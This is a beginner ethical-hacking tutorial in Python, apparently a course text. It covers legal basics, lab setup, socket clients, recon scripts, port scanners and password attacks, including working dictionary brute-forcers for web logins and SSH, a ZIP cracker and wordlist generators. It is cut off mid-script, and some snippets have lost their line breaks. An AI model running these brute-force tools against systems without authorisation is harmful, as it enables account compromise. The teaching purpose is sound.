📘 Chapter: Legal and Ethical Considerations

👨‍⚖️ Why Legal & Ethical Hacking Matters

Hey future white-hat warriors! ⚔️

Before you fire up that terminal and start writing Python scripts to test networks, you must understand the law and your ethical responsibility. Ethical hacking isn’t just about skills — it’s also about doing things the right way.

This chapter will walk you through all the legal and ethical principles every penetration tester should know before touching any target. 🚨

✅ 1. What Is Ethical Hacking?

Ethical hacking is the legal process of testing a system’s security to find vulnerabilities — with full permission from the owner.

In short: You hack to help, not harm.

Ethical hackers are also known as:

• White hat hackers
• Security researchers
• Cybersecurity professionals

They use their skills to protect companies, apps, users, and data.

• Violates laws
• Harms innocent users and companies
• Leads to legal action or jail

⚖️ 2. Understanding Cyber Laws

Just like real-world crime, cybercrime has rules — and breaking them leads to serious consequences. Different countries have their own cybersecurity laws, such as:

• IT Act (India)
• Computer Fraud and Abuse Act (USA)
• GDPR (Europe)

These laws define:

• What counts as illegal access
• Penalties for data theft or damage
• Responsibilities of security testers

Always stay informed about the laws in your country or region.

🚫 3. What Is Illegal Hacking?

Illegal hacking is when someone breaks into a system or network without permission — even if no harm is done.

Examples of illegal hacking:

• Accessing someone's email without their consent
• Scanning a company’s website without approval
• Spreading malware or viruses
• Launching DDoS attacks

Remember: No permission = illegal action ❌

📄 4. Getting Legal Permission (The Golden Rule)

BBefore you run any script, scan, or exploit — get written permission from the target's owner. This is often done through:

• Authorization letters
• Signed contracts
• Bug bounty program rules

Without permission, you're just a black hat with good intentions — and that doesn’t hold up in court. ⚖️

🛑 5. Consequences of Unethical Hacking

If you break the law, even unintentionally, you can face:

• Heavy fines 💸
• Jail time 🚔
• Loss of certifications or job offers
• A damaged reputation in the cyber community 😞

Your hacking journey should build your career, not destroy it.

🧠 6. Hacker Ethics & Code of Conduct

As a responsible ethical hacker, you should follow a strong code of conduct:

• Hack only with permission
• Always report findings honestly
• Don’t exploit discovered vulnerabilities
• Respect privacy and data sensitivity
• Never brag about illegal activities online

Ethical hackers don’t just follow rules — they live by them. 🙌

🔐 Final Thought

In cybersecurity, your reputation is your resume.

If Linux is your battleground, then Python is your sword.

The line between a hero and a villain is often just permission. Mastering hacking tools is great — but learning how to use them legally and ethically makes you a true professional.

Stay legal. Stay ethical. And protect the digital world like a pro. 🛡️💻

Setting Up Your Hacking Lab

Hey hackers and future pentesters! 🔧💻

If you're serious about learning ethical hacking, the first thing you need is a safe and legal environment to test tools and run exploits. That’s where your hacking lab comes in — a fully controlled setup where you can break things without consequences. 🧪

This chapter will guide you step-by-step on how to create your own virtual hacking playground.

💡 1. Why Use a Hacking Lab?

A hacking lab lets you test tools, scripts, and vulnerabilities without touching real networks. It’s private, safe, and 100% legal.

• ✔️ Practice real-world attacks safely
• ✔️ Learn tools like Nmap, Metasploit, Wireshark, etc.
• ✔️ Set up intentional vulnerabilities to exploit

🧱 2. Recommended Tools for Your Lab

Here’s what you’ll need to build a beginner-friendly hacking lab:

• VirtualBox or VMware: To run virtual machines (VMs)
• Kali Linux: The go-to OS for ethical hackers
• Metasploitable2: A vulnerable VM for practice
• DVWA or WebGoat: Vulnerable web apps for testing

You can set these up all on your existing PC/laptop!

💽 3. Installing VirtualBox or VMware

Download and install VirtualBox (free) or VMware Workstation Player. These tools let you run other operating systems like Kali Linux as virtual machines, without affecting your host system.

• VirtualBox Official Site
• VMware Player

🐉 4. Setting Up Kali Linux

Kali Linux is a Linux distribution packed with hacking tools — pre-installed and ready to use.

You can download the ISO from kali.org/get-kali and import it into VirtualBox.

Once installed, you’ll have access to tools like Nmap, Wireshark, Metasploit, and more — right out of the box! 🎁

💣 5. Adding Vulnerable Machines

To test your skills, you’ll need something to hack into. That’s where vulnerable machines come in.

• Metasploitable2: Full of known vulnerabilities — perfect for Metasploit practice.
• DVWA (Damn Vulnerable Web App): A PHP/MySQL web app loaded with web vulnerabilities.
• WebGoat: Created by OWASP to teach secure coding by exploiting insecure code.

🌐 6. Network Settings for Isolation

Make sure your VMs are set to “Internal Network” or “Host-Only Adapter”. This keeps your lab disconnected from the internet — so you don’t accidentally attack anything outside your system. 🔒

🛠️ 7. Optional: Using Tools Like TryHackMe or HackTheBox

Want instant cloud-based labs without installing anything?

• TryHackMe: Beginner-friendly and guided
• Hack The Box: More advanced and challenge-based

Both platforms offer realistic hacking environments — all online! 🌍

🔥 Final Thought: Your Lab Is Your Playground

Setting up your lab is one of the most exciting parts of becoming an ethical hacker. You’ll have a space to learn, break things, and build your confidence — without breaking the law. 😎

Once your lab is ready, we’ll start building tools and testing techniques using Python!

Installing Python (Linux/Windows)

Hey coders and cyber learners! 👨‍💻👩‍💻

If you're diving into ethical hacking with Python, the first step is to make sure you have Python installed on your system. Whether you're using Linux or Windows, setting it up is quick and simple. Let’s get started! ⚙️

🐧 Installing Python on Linux (Kali, Parrot OS, etc.)

Most Linux distros (especially Kali Linux and Parrot OS) come with Python pre-installed. You can check the version by opening your terminal and typing:

python3 --version

If it's not installed or you want to update it:

sudo apt update && sudo apt install python3

You may also want to install pip (Python's package manager):

sudo apt install python3-pip

🪟 Installing Python on Windows

Follow these steps to install Python on a Windows machine:

• Visit the official website: python.org/downloads
• Download the latest version for Windows
• During installation, make sure to check the box that says “Add Python to PATH”
• Click “Install Now” and follow the prompts

Once installed, open Command Prompt and run:

python --version

You should see the installed version appear. ✅

⚙️ Verifying Python and Pip

To make sure everything is working, run these two commands:

python --version pip --version

If both show version numbers, you're good to go! 🎉

Setting up Virtual Machines (Kali Linux, Parrot OS)

Hey cyber explorers! 🧑‍💻🔍

Virtual Machines (VMs) are the backbone of any hacking lab. They let you run multiple operating systems — like Kali Linux or Parrot OS — safely inside your existing system, so you can experiment, hack, and learn without breaking anything. 💥

📦 What is a Virtual Machine?

A Virtual Machine is a software-based computer inside your real computer. You can install operating systems, test tools, and practice attacks — all isolated from your main OS.

Popular VM platforms include:

• VirtualBox – Free and open-source
• VMware Workstation Player – Free for personal use

🐉 Installing Kali Linux on a VM

Kali Linux is a go-to OS for ethical hackers. Here's how to install it:

• Go to kali.org/get-kali and download the ISO
• Open VirtualBox or VMware and create a new VM
• Set memory (at least 2GB), CPU (2 cores), and virtual hard disk (20GB+)
• Mount the Kali ISO and start the VM
• Follow the on-screen installation instructions

🕵️ Installing Parrot OS (Alternative to Kali)

Parrot Security OS is another great choice — lightweight and privacy-focused.

• Visit parrotsec.org
• Download the ISO and follow the same steps used for Kali
• Choose the "Security Edition" for ethical hacking tools

⚙️ VM Settings to Keep in Mind

• Use “Bridged” or “NAT” for internet access
• Enable “Virtualization” in BIOS for better performance
• Enable shared clipboard and drag-and-drop if needed

💡 Tip: Take snapshots after setting up your VM — so you can restore it easily if something goes wrong.

Installing Required Python Libraries

Hey hackers! 🐍⚙️

Before diving into Python-powered hacking tools, you need to install some powerful Python libraries. These libraries make your scripts smarter, faster, and more capable — from scanning ports to scraping websites and beyond.

📦 What Are Python Libraries?

Python libraries are pre-written code packages that help you do complex tasks with just a few lines of code. Instead of writing everything from scratch, you can use libraries for tasks like networking, automation, data handling, and more.

🛠️ Must-Have Libraries for Hackers

• requests – For making HTTP requests
• beautifulsoup4 – For web scraping and HTML parsing
• scapy – For crafting and analyzing network packets
• nmap – For automating Nmap scans
• paramiko – For SSH connections
• shodan – For using the Shodan API
• virustotal-api – For malware scanning automation

💡 How to Install Python Libraries Using pip

pip is Python’s built-in package manager. You can install any library using a single command in your terminal or command prompt:

pip install library_name

Example:

pip install requests beautifulsoup4 scapy nmap paramiko

🔍 Check Installed Libraries

To see what’s already installed, you can use:

pip list

It’ll show you all available libraries along with their versions.

⚠️ Having Trouble? Try pip3 Instead

On some systems, especially Linux, you may need to use:

pip3 install requests

And don’t forget — you might need to use sudo if you get permission errors:

sudo pip3 install scapy

Introduction to Terminal & IDE (VS Code, etc.)

Hey command-line ninjas and code crafters! 🧑‍💻💥

Before you start writing Python scripts for hacking, it's important to get comfortable with your tools — the terminal and your coding environment. Whether you're on Linux, Windows, or Mac, this chapter will show you how to navigate like a pro. 🚀

🖥️ What is a Terminal?

The terminal (or command-line interface) lets you interact with your system using text-based commands. For hackers, it’s where the real magic happens — scanning networks, launching scripts, cracking passwords... all start here.

Examples of terminal commands:

• ls – List files
• cd – Change directory
• python3 script.py – Run Python script
• ifconfig – View IP addresses (Linux)

🛠️ Why Use an IDE for Python?

An IDE (Integrated Development Environment) is a tool that helps you write, test, and debug your code more easily. It offers features like:

• Syntax highlighting
• Code suggestions
• Built-in terminal
• Error highlighting

💻 Recommended IDEs for Ethical Hackers

• VS Code: Lightweight, powerful, and highly customizable
• PyCharm: Feature-rich Python IDE (best for large projects)
• Geany: Lightweight and fast (great for older systems)
• Thonny: Beginner-friendly Python IDE

⚙️ Setting Up VS Code

VS Code is one of the most popular editors used in cybersecurity and programming. Here’s how to get started:

• Download from code.visualstudio.com
• Install Python extension from the Extensions tab
• Enable terminal (Ctrl + `)
• Create and run .py files with ease

With VS Code and the terminal combined, you’ll be building and executing tools like a true cyber wizard. 🧙‍♂️🐍

🐍 Python Basics for Hackers

Course Introduction

Yo hackers! 👨‍💻👩‍💻

If you’re dreaming about building your own hacking tools, automating scans, or just flexing your Python skills like a true cyber ninja — this is where it all begins. Python is the most powerful (and friendly!) language for penetration testers and ethical hackers. 💣

This unit is all about getting your Python basics on point — so you can write scripts, break stuff (ethically!), and make your own mini-tools. No boring theory, just hacker-focused Python goodness. 💻🔥

🚨 Wanna Level Up Fast?

We’ve already launched our Elite Python Series as part of the Elight Programming Series — and guess what? It’s totally free for our community. 🎉

It’s designed especially for beginners in ethical hacking and includes:

• ✅ Live doubt-solving classes — ask, code, and solve on the spot
• 💡 Real-world projects — build cool tools, not just hello-worlds
• 📚 Weekly practice sets — stay consistent, get sharp
• 📌 Structured cheat sheets — quick references while you hack

Join the series anytime and learn at your pace. You’re not just learning Python — you’re learning the hacker’s version of it. ⚔️🐍

Now let’s get into the code and start your Python hacking journey!

Variables, Data Types, Loops, Functions

Hey Python ninjas! 🐍⚡

If you want to build tools that automate scans, crack passwords, or parse responses — you’ll need to understand the core building blocks of Python. This chapter is your hacker-friendly crash course into variables, data types, loops, and functions. Let’s break it down! 👇

📦 Variables

Variables are like labeled containers where you store data. In hacking scripts, they can store targets, usernames, passwords, IPs, and more.

target = "192.168.1.1"username = "admin"port = 22

🔢 Data Types

Python automatically understands what kind of data you’re using. Here are the main types:

• int – Whole numbers (e.g., 22)
• float – Decimal numbers (e.g., 3.14)
• str – Text strings (e.g., "admin")
• bool – Boolean values (True or False)
• list – A collection (e.g., ["admin", "root", "user"])

🔁 Loops

Loops help you run the same block of code multiple times. Hackers use loops for brute-force attacks, fuzzing, scanning ranges, etc.

For loop example:

for user in ["admin", "root", "guest"]:print("Trying username:", user)

While loop example:

count = 0while count < 5: print("Attempt", count)count += 1

🛠️ Functions

Functions let you organize your code into reusable blocks. Think of them like small machines that do a specific task — like scanning a port or checking a login.

def greet(name): print("Hello,", name)greet("Hacker")

In real hacking tools, functions are used to handle tasks like building payloads, sending requests, or parsing responses.

File Handling, Exception Handling

Hey hackers! 📂⚠️

As you build hacking tools in Python, you’ll often need to read files like wordlists, store results, or log responses. That’s where file handling comes in. But what if your script crashes when a file is missing? That’s where exception handling saves the day. 🧯

📁 File Handling in Python

Python makes it super easy to read and write files — great for logging outputs, loading target IPs, or importing payloads.

Reading a file:

with open("targets.txt", "r") as file:targets = file.readlines()for ip in targets:print("Scanning", ip.strip())

Writing to a file:

with open("results.txt", "w") as file:wfile.write("Scan complete for 192.168.1.1")

⚠️ Exception Handling

Sometimes files don’t exist, network errors occur, or inputs crash your code. Instead of letting your script fail, Python lets you catch errors and handle them smartly.

try: file = open("passwords.txt", "r")data = file.read()except FileNotFoundError:print("File not found!")except Exception as e:    print("Something went wrong:", e)

Use exception handling to make your hacking scripts more stable and professional — especially when you share tools with others. 🧑‍💻

Working with JSON and CSV

Hey hackers! 📊🐍

When you’re building Python hacking tools, you'll often deal with data — like storing scan results, parsing APIs, or exporting usernames and passwords. Two of the most common formats are JSON and CSV. Let’s see how to handle them like a pro! 💼

🔍 What is JSON?

JSON (JavaScript Object Notation) is a lightweight data format used widely in web APIs and modern applications. Python makes it easy to read and write JSON using the json module.

Reading JSON data:

import json

with open("data.json", "r") as file:
    info = json.load(file)
    print(info["username"])

Writing JSON data:

data = {"username": "admin", "password": "1234"}
with open("output.json", "w") as file:
    json.dump(data, file)

📁 What is CSV?

CSV (Comma-Separated Values) is great for storing tabular data — like username lists, IPs with ports, or results from brute-force attempts.

Reading a CSV file:

import csv

with open("users.csv", "r") as file:
    reader = csv.reader(file)
    for row in reader:
        print("Username:", row[0], "| Password:", row[1])

Writing to a CSV file:

with open("output.csv", "w", newline="") as file:
    writer = csv.writer(file)
    writer.writerow(["username", "password"])
    writer.writerow(["admin", "1234"])

Now you can easily interact with APIs (JSON) and store your results (CSV) like a true cyber dev! 💥

Python Networking Basics

Hey hackers! 🌐🐍

If you're serious about ethical hacking, you need to understand how computers talk to each other. Python makes networking super simple and powerful — whether you're scanning ports, sending requests, or building custom clients.

This chapter covers the basics of networking with Python so you can start writing your own scripts to connect, communicate, and control devices. 🔌

🧠 What is Networking in Python?

Networking in Python is all about using code to send and receive data between computers — locally or over the internet. You can use Python to:

• Connect to remote servers
• Send and receive raw data
• Scan open ports
• Build your own hacking tools

📦 Python's socket Module

The socket module is built into Python and is used for all basic networking operations. Here's how to create a simple TCP client:

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("example.com", 80))
client.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = client.recv(4096)
print(response.decode())

Simple, right? This is the core of many hacking tools — sending crafted requests and reading what comes back. ⚙️

Up next, we’ll build real tools like port scanners, TCP clients, and banner grabbers using this power. But first, master this foundation. 💡

Introduction to socket module

Hey cyber coders! 🔌🐍

The socket module is the heart of Python networking — and it's a must-know for any ethical hacker. With it, you can create your own clients and servers, scan ports, send payloads, or build custom hacking tools.

Let’s explore how this powerful module works and how you can use it in your own scripts. 🧠

📦 What is the socket Module?

The socket module lets you create network connections using Python. It gives you low-level control over TCP and UDP communication — the same stuff tools like Nmap and Netcat use under the hood.

It supports:

• TCP: Reliable connections
• UDP: Fast, connectionless communication

🧪 Simple TCP Client Example

import socket

target = "example.com"
port = 80

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
client.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = client.recv(4096)

print(response.decode())

This script sends a basic HTTP request and prints the response — a powerful start to understanding how the internet talks! 🌐

📡 When to Use socket

The socket module is useful when you want to:

• Scan open ports
• Send custom requests
• Build custom backdoors or reverse shells
• Create raw network tools for CTFs or red team projects

Now that you’ve met the socket module, you're ready to start building powerful, network-aware Python tools. Up next — real TCP and UDP clients! 💥

Creating Basic TCP/UDP Clients

Hey socket masters! 🧠🔌

Now that you’ve been introduced to the socket module, it’s time to get your hands dirty by creating your own TCP and UDP clients. These mini tools are the base of many real-world hacking scripts — from port scanners to backdoors. Let’s build them! 💻💣

📡 TCP Client in Python

TCP (Transmission Control Protocol) is used for reliable, connection-based communication — like HTTP, SSH, FTP, etc. Here’s a basic TCP client that connects to a target and sends a message:

import socket

target = "127.0.0.1"
port = 9999

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
client.send(b"Hello from TCP client!")
response = client.recv(4096)

print("Response:", response.decode())

🎯 Use cases: Web fuzzing, banner grabbing, interacting with services (like FTP, SMTP)

📶 UDP Client in Python

UDP (User Datagram Protocol) is faster but connectionless — meaning it just sends data without checking if it arrives. Here’s a basic UDP client:

import socket

target = "127.0.0.1"
port = 9999

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(b"Hello from UDP client!", (target, port))

# Receiving response (if any)
data, addr = client.recvfrom(4096)
print("Response from server:", data.decode())

🎯 Use cases: DNS queries, custom payload fuzzing, broadcasting scripts

And that’s it! You’ve just built your first raw network clients using Python. These basics will power many of the tools you build next — like port scanners, reverse shells, and more. 🧨

Banner Grabbing

Hey info hunters! 🧠🛰️

Banner grabbing is one of the first steps in recon and enumeration. It’s a technique used to gather information about a target system by connecting to open ports and reading the response — called the “banner.” This banner often reveals details like the service type, version, and sometimes even the operating system. 🔍

🧾 What is a Banner?

A banner is the initial message sent by a service running on a port. For example, an FTP server might respond with its name and version:

220 (vsFTPd 3.0.3)

By grabbing this info, we can identify vulnerabilities or choose the right exploit. 🎯

📡 Simple Banner Grabbing Script

import socket

target_ip = "192.168.1.1"
target_port = 21  # FTP port

try:
    s = socket.socket()
    s.settimeout(2)
    s.connect((target_ip, target_port))
    banner = s.recv(1024)
    print("[+] Banner:", banner.decode().strip())
except:
    print("[-] Connection failed")

This script connects to a target IP and port, reads the banner, and prints it out. You can use this method on ports like 21 (FTP), 22 (SSH), 80 (HTTP), 443 (HTTPS), etc. ⚙️

Warning: Always perform banner grabbing on targets you own or have permission to test. Unauthorized scanning can be illegal. 🔒

Writing Hacking Tools

Information Gathering Tools

Hey recon masters! 🕵️‍♂️🔍

Before you can hack anything, you need to know what you’re hacking. That’s where information gathering comes in — the first step of any penetration test. In this chapter, we’ll see how to write Python tools that automate recon and help you discover domains, IPs, emails, and more. 🧰

🌐 Why Information Gathering Matters

In ethical hacking, knowing your target is half the battle. By gathering open data (OSINT), you can:

• Identify domains and subdomains
• Find IP ranges and DNS info
• Collect email addresses
• Discover technologies used by websites

This info helps you choose the right exploits and avoid blind guessing. 🎯

🐍 Automating Recon with Python

Instead of running dozens of manual commands, Python lets you build scripts to automate:

• WHOIS lookups
• DNS lookups
• IP geolocation
• Email scraping from web pages

With a few lines of code and the right libraries, you can build your own recon toolkit. ⚡

🛠️ Tools You’ll Build in This Unit

In the next chapters, you’ll write scripts to:

• Perform WHOIS lookups to see who owns a domain
• Track IPs and DNS records
• Scan for subdomains
• Scrape emails using BeautifulSoup and requests

By the end, you’ll have your own Python-powered recon suite — built by you, for you. 🚀

WHOIS Lookup

Hey recon pros! 🌐🔍

One of the easiest ways to start gathering information about a target domain is by doing a WHOIS lookup. It tells you who owns the domain, when it was created, where it’s registered, and sometimes even contact details. 📄

🔎 What is WHOIS?

WHOIS is a protocol that queries databases to find out “Who is” responsible for a domain name or an IP address. Ethical hackers use it during the recon phase to:

• Find the registrar and creation date
• See expiration dates (great for timing social engineering)
• Check admin or technical contact emails

🐍 Writing a WHOIS Lookup Tool in Python

With Python, you can automate WHOIS queries and integrate them into your custom recon tools. Here's a basic example using the whois library:

import whois

domain = "example.com"
info = whois.whois(domain)

print("Domain:", info.domain_name)
print("Registrar:", info.registrar)
print("Creation Date:", info.creation_date)
print("Expiration Date:", info.expiration_date)

Simple, fast, and powerful! 🎯

Up next, we’ll combine this with other tools to map out IPs, DNS records, and subdomains — turning data into real hacking targets. 🧠💻

IP & DNS Tracker

Hey network detectives! 🕵️‍♂️🌐

After WHOIS lookups, the next step in recon is tracking IP addresses and DNS records. This helps you find where a domain points, map its infrastructure, and sometimes reveal hidden servers or backup domains. 📡

🔍 Why Track IP & DNS?

Tracking IPs and DNS helps ethical hackers:

• Discover actual server IPs behind a domain
• Find subdomains and aliases (like mail.example.com)
• Spot CDN usage or hidden IPs
• Check if an IP changes over time (great for target profiling)

🐍 Using Python for DNS Lookups

Python makes DNS queries easy using libraries like socket and dns.resolver. Here’s a basic example to resolve a domain to its IP:

import socket

domain = "example.com"
ip = socket.gethostbyname(domain)
print(f"IP address of {domain} is {ip}")

📦 Tracking DNS Records

Want to see more than just the main IP? Use dns.resolver to list DNS records:

import dns.resolver

domain = "example.com"
records = dns.resolver.resolve(domain, "A")  # 'A' record for IPv4

for rdata in records:
    print("IP:", rdata.address)

This technique helps map a target’s footprint, spot hidden servers, and guide your next scan. 🧭💡

Next, let’s dig even deeper by scanning for subdomains! 🚀

Subdomain Scanner

Hey recon hunters! 🕵️‍♂️✨

Big websites don’t just run on www.example.com. They often have lots of subdomains like mail.example.com, dev.example.com, or api.example.com. Finding these can reveal hidden services, test environments, or admin panels — perfect starting points for ethical hacking! 🔍

🌱 Why Scan for Subdomains?

Subdomains can:

• Expose staging servers not meant for the public
• Reveal old apps with known vulnerabilities
• Help map the real size of your target

🐍 Writing a Simple Subdomain Scanner in Python

We can automate subdomain discovery using Python and a wordlist. Here’s a basic script:

import socket

domain = "example.com"
wordlist = ["mail", "dev", "api", "test"]

for sub in wordlist:
    subdomain = f"{sub}.{domain}"
    try:
        ip = socket.gethostbyname(subdomain)
        print(f"[+] Found: {subdomain} -> {ip}")
    except socket.gaierror:
        pass

⚡ This script tries each subdomain and checks if it resolves. If it does — bingo! You’ve discovered a live subdomain to investigate further.

Tip: You can make it stronger by using larger wordlists, adding multithreading, or combining it with DNS brute-forcing tools. 🧰🚀

Email Scraper (using BeautifulSoup & Requests)

Hey data miners! 📧🕵️‍♂️

During recon, it’s super useful to extract email addresses from websites. These can be used for OSINT, phishing simulations, or just mapping your target’s digital footprint. Python makes it crazy easy using requests and BeautifulSoup. 🐍✨

🐍 Sample Email Scraper Script

import requests
import re
from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)

soup = BeautifulSoup(response.text, "html.parser")
emails = set(re.findall(r"[\\w\\.-]+@[\\w\\.-]+", soup.get_text()))

for email in emails:
    print("[+] Found email:", email)

🎯 This script pulls all text from the page, uses regex to find anything that looks like an email, and prints it. Great for building your own OSINT tools!

Port & Vulnerability Scanning

Hey cyber defenders! 🛡️⚡

Finding open ports is just the start — real ethical hackers go further by checking for known vulnerabilities on those ports. This chapter shows how to combine port scanning with basic vulnerability scanning in Python. 🎯

🔍 Why Go Beyond Port Scanning?

Open ports tell you where a service is running, but vulnerability scanning helps you learn what might be exploitable. Combining the two helps you find real weaknesses instead of just open doors. 🚪⚠️

🐍 Simple Port & Version Scanner

Here’s an example script that connects to ports and grabs banners, which often reveal software versions:

import socket

target = "127.0.0.1"
ports = [21, 22, 80, 443]

for port in ports:
    try:
        s = socket.socket()
        s.settimeout(1)
        s.connect((target, port))
        banner = s.recv(1024).decode().strip()
        print(f"[+] Port {port} is open: {banner}")
    except:
        print(f"[-] Port {port} is closed or no banner")
    s.close()

🎯 Once you have the banner, you can manually check it against vulnerability databases like CVE details or exploit-db.

🧠 Next Level: Automate Vulnerability Checks

For real projects, you can:

• Compare banners against a list of known vulnerable versions
• Use APIs like Shodan to find CVEs automatically
• Integrate with scanners like Nmap or OpenVAS in Python

This approach turns your script from a simple port scanner into a real pentest helper tool! 🧰🚀

Port Scanner using socket and threading

Hey speed hackers! 🚀🧰

Port scanning is a classic technique to discover which services are running on a target system. Python makes this easy with the socket module — and by adding threading, you can make your scanner much faster! ⚡

🔍 Why Use Threading?

Without threading, your scanner checks one port at a time — slow and boring. Threading lets your script check multiple ports at once, cutting scan time drastically. 🧵✨

🐍 Sample Multithreaded Port Scanner

import socket
import threading

target = "127.0.0.1"
ports = [21, 22, 23, 80, 443, 3306]

def scan(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    result = s.connect_ex((target, port))
    if result == 0:
        print(f"[+] Port {port} is open")
    s.close()

for port in ports:
    t = threading.Thread(target=scan, args=(port,))
    t.start()

🎯 This scanner loops over the port list and starts a new thread for each scan — quick, simple, and powerful!

Tip: You can expand it to scan larger port ranges or save results to a file. 📄🔧

Banner Grabbing

Hey advanced hackers! 🧙‍♂️⚡

Banner grabbing isn’t just for finding open ports — it’s a recon technique to identify service versions, software types, and even possible vulnerabilities. In this advanced look, we'll see how to make your banner grabber smarter and more useful for pentesting. 🔍

📡 Why Advanced Banner Grabbing?

Simple scripts only connect and read the first response. A smarter banner grabber can:

• Send custom payloads (like partial HTTP requests)
• Scan multiple ports and targets
• Save and analyze results

🐍 Example: Grabbing HTTP Banners

Here’s a Python script that sends an HTTP GET request to get banners from web servers:

import socket

target = "example.com"
port = 80

s = socket.socket()
s.settimeout(2)
s.connect((target, port))

http_request = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
s.send(http_request)

response = s.recv(1024)
print("[+] Banner received:")
print(response.decode(errors="ignore"))

🎯 This way, you get the server header, technologies used (like Apache, nginx), and sometimes even version numbers.

📦 Next Level: Automate & Save

Expand your script to:

• Loop through multiple domains/ports
• Write banners to a file
• Filter banners by keyword (e.g., “Apache/2.4”)

With banner grabbing, you go from "is this port open?" to "what software is running here — and can I find a CVE for it?" 🧠💥

Password Attacks (Brute Force & Dictionary)

Hey code crackers! 🧑‍💻🔐

One of the most common real-world attacks is trying to guess a target’s password — also called password cracking. Python makes it easy to write scripts for brute force attacks and dictionary attacks. Let’s see how they work! 💣

💡 What’s the Difference?

• Brute force: Tries every possible combination (slow but sure)
• Dictionary attack: Tries passwords from a list (faster & often enough)

🐍 Example: Dictionary Attack Script

Here’s a simple script that checks each password in a wordlist:

import requests

url = "http://example.com/login"
username = "admin"

with open("wordlist.txt", "r") as f:
    for password in f:
        password = password.strip()
        data = {"username": username, "password": password}
        response = requests.post(url, data=data)
        
        if "Welcome" in response.text:
            print(f"[+] Password found: {password}")
            break
        else:
            print(f"[-] Tried: {password}")

⚠️ Always test only on systems you own or have permission for. Unauthorized brute force attacks are illegal! 🚨

⚙️ Next Level: Brute Force

Instead of trying words from a file, a brute force attack tries all combinations — for example, all 4-digit PINs:

from itertools import product

charset = "0123456789"
length = 4

for combo in product(charset, repeat=length):
    pin = "".join(combo)
    print("Trying PIN:", pin)

In real hacking, brute force is slow and noisy — but dictionary attacks (using common passwords) can be surprisingly effective. 🎯

Next, let’s see how to target specific services like SSH or ZIP files! 📦🔑

SSH Brute Forcer

Hey penetration testers! 🧑‍💻🔑

SSH is a common target for brute force attacks because it often protects critical systems. In this chapter, you'll see how to build a simple SSH brute forcer in Python using the paramiko library. Remember: use this only for ethical testing! ⚠️

🐍 What is paramiko?

paramiko is a Python library that lets you make SSH connections and automate tasks like logging in, executing commands, or brute forcing passwords.

🔓 Example: SSH Brute Force Script

import paramiko

target_ip = "127.0.0.1"
username = "root"
wordlist = ["1234", "password", "toor", "root"]

for password in wordlist:
    password = password.strip()
    print(f"[*] Trying password: {password}")
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(target_ip, username=username, password=password, timeout=3)
        print(f"[+] Success! Password found: {password}")
        ssh.close()
        break
    except paramiko.AuthenticationException:
        print("[-] Incorrect password")
    except Exception as e:
        print(f"[!] Connection error: {e}")

🎯 This script tries each password in the list until it finds the correct one. For real use, you'd load a bigger wordlist from a file and add more error handling.

⚠️ Note: SSH brute forcing is noisy and can trigger firewalls or IP blocks. Use responsibly and always with permission! 🛡️

ZIP File Password Cracker

Hey file busters! 🗜️💥

Sometimes during pentests, you might come across password-protected ZIP files. With Python, you can write a brute force script to crack them by trying passwords from a wordlist. 🐍🔓

📦 How it works

We’ll use Python’s built-in zipfile module to try unlocking the archive with each password until it works. Simple, but powerful! ⚡

🐍 Example: ZIP Password Cracker Script

import zipfile

zip_file = "secret.zip"
wordlist = ["1234", "password", "letmein", "admin"]

with zipfile.ZipFile(zip_file) as zf:
    for password in wordlist:
        try:
            zf.extractall(pwd=password.encode("utf-8"))
            print(f"[+] Password found: {password}")
            break
        except:
            print(f"[-] Wrong password: {password}")

🎯 You can replace the small list with a big dictionary file to increase your chances.

⚠️ Warning: Brute forcing can be slow if the list is large, and should always be done ethically and with permission! 🛡️

Wordlist Generators

Hey brute force builders! 🐍🛠️

Wordlists are the backbone of dictionary attacks and brute forcing. Instead of downloading huge files, why not generate custom wordlists that fit your target? In this chapter, you’ll see how to write your own Python wordlist generators. 🔑⚡

🧠 Why Generate Wordlists?

Custom wordlists can include:

• Names, birth years, and pet names of your target
• Common passwords with variations
• Number or symbol patterns

This makes your brute force attacks smarter and more effective! 🎯

🐍 Example: Simple Wordlist Generator

keywords = ["admin", "pass", "root"]
symbols = ["!", "@", "123"]

with open("wordlist.txt", "w") as file:
    for word in keywords:
        file.write(word + "\n")
        for sym in symbols:
            combo = word + sym
            file.write(combo + "\n")

🎯 This script writes basic words and combines them with symbols, creating a small but targeted list.

⚙️ Next Level: Use itertools

With itertools, you can create huge combinations easily:

import itertools

chars = "abc123"
length = 3

for combo in itertools.product(chars, repeat=length):
    print("".join(combo))

⚠️ Tip: Be careful! Large combinations can produce millions of entries very quickly. 🧨

Custom wordlists = smarter attacks, faster success. Ready to use them in your brute forcers? 🚀

Web Exploitation Basics

Hey bug hunters! 🕷️🌐

The web is full of targets — from login forms to hidden admin panels. In ethical hacking, web exploitation means finding and abusing security flaws in web apps, but always with permission! Let’s look at the basics every hacker should know. 🔍

⚙️ What is Web Exploitation?

It’s the art of:

• Discovering hidden directories or files
• Testing login forms for weak passwords
• Looking for common vulnerabilities (e.g., SQLi, XSS)
• Automating attacks with Python scripts

🐍 Why Use Python?

Python helps automate boring and repetitive tasks, like:

• Submitting hundreds of login attempts
• Fuzzing parameters to test for injection
• Scraping pages for hidden links or emails

📦 Libraries You'll Use

• requests – Send HTTP requests easily
• BeautifulSoup – Parse and scrape HTML
• re – Use regex for matching patterns

Web exploitation is one of the most creative areas of hacking — you write code, analyze responses, and think like an attacker. Ready to go deeper? Let’s do it! 🚀

Login Form Brute Forcing

Hey form breakers! 🐍🔓

Many web apps hide sensitive data behind login forms. With Python, you can automate brute force attacks to guess passwords and test the strength of those forms — but always with permission! ⚠️

💡 How It Works

The idea is simple:

• Read passwords from a wordlist
• Submit them one by one to the login form
• Check the response for success (e.g., "Welcome", "Dashboard")

🐍 Example: Brute Forcing with requests

import requests

url = "http://example.com/login"
username = "admin"
wordlist = ["1234", "admin", "password"]

for password in wordlist:
